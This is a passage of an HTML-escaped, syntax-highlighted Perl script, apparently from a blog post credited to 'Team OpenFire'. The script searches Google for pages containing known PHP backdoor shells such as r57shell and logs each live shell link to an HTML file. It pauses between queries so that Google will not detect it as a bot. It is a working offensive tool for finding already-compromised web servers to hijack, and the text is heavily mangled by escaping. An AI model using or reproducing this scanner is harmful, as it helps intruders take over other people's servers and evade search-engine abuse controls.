#007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;HTTP&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;Request&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;GET&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$shellLink&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$sResource&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$userAgent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$sRequest&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$sResource&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;is_success&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$sResource&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;!=&amp;nbsp;-&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&amp;amp;&amp;amp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$sResource&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;!=&amp;nbsp;-&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;FILEHANDLE&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputFile&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;FILEHANDLE&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Link:&amp;nbsp;&lt;a href=&quot;http://www.blogger.com/%5C&quot; nbsp=&quot;nbsp&quot; span=&quot;span&quot;&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$shellLink&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;\&quot;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$shellLink&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;FILEHANDLE&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Search&amp;nbsp;Term:&amp;nbsp;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$_&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
\n&quot;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;close&amp;nbsp;FILEHANDLE&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;[+]&amp;nbsp;Found&amp;nbsp;shell:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$shellLink&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputOn&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;==&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;[-]&amp;nbsp;No&amp;nbsp;shell\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputOn&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;==&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;[-]&amp;nbsp;Offline\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputOn&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;==&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;sleep&amp;nbsp;20&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;#wait&amp;nbsp;20&amp;nbsp;seconds&amp;nbsp;so&amp;nbsp;google&amp;nbsp;dont&amp;nbsp;think&amp;nbsp;we&amp;nbsp;are&amp;nbsp;a&amp;nbsp;bot&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;}&amp;nbsp;else&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Unable&amp;nbsp;to&amp;nbsp;query&amp;nbsp;google\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;and&amp;nbsp;die;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;FILEHANDLE&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputFile&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;FILEHANDLE&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;/span&gt;&lt;br /&gt;
&lt;center&gt;
&lt;span style=&quot;color: #dd0000;&quot;&gt;
&lt;small&gt;&lt;a href=&quot;http://www.blogger.com/%5C&quot; http:=&quot;http:&quot; nbsp=&quot;nbsp&quot; www.openfire-security.net=&quot;www.openfire-security.net&quot;&gt;Find&amp;nbsp;PHP&amp;nbsp;Shells&amp;nbsp;via&amp;nbsp;Google&amp;nbsp;-&amp;nbsp;by&amp;nbsp;nu11_()_v0!d&amp;nbsp;Team&amp;nbsp;OpenFire&lt;/a&gt;&lt;/small&gt;&lt;/span&gt;&lt;/center&gt;
&lt;span style=&quot;color: #dd0000;&quot;&gt;
&lt;/span&gt;&quot;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;close&amp;nbsp;FILEHANDLE&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;sub&amp;nbsp;usage&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;qq&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;Find&amp;nbsp;PHP&amp;nbsp;Shells&amp;nbsp;via&amp;nbsp;Google&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;by&amp;nbsp;nu11_&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;_v0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;d&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;http&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;//www.openfire-security.net)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;perl&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;shell&amp;nbsp;to&amp;nbsp;find&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]&amp;nbsp;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;screen&amp;nbsp;output&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]&amp;nbsp;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;output&amp;nbsp;HTML&amp;nbsp;file&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;shell&amp;nbsp;to&amp;nbsp;find&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;can&amp;nbsp;be&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;r57&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;find&amp;nbsp;r57shell&lt;br 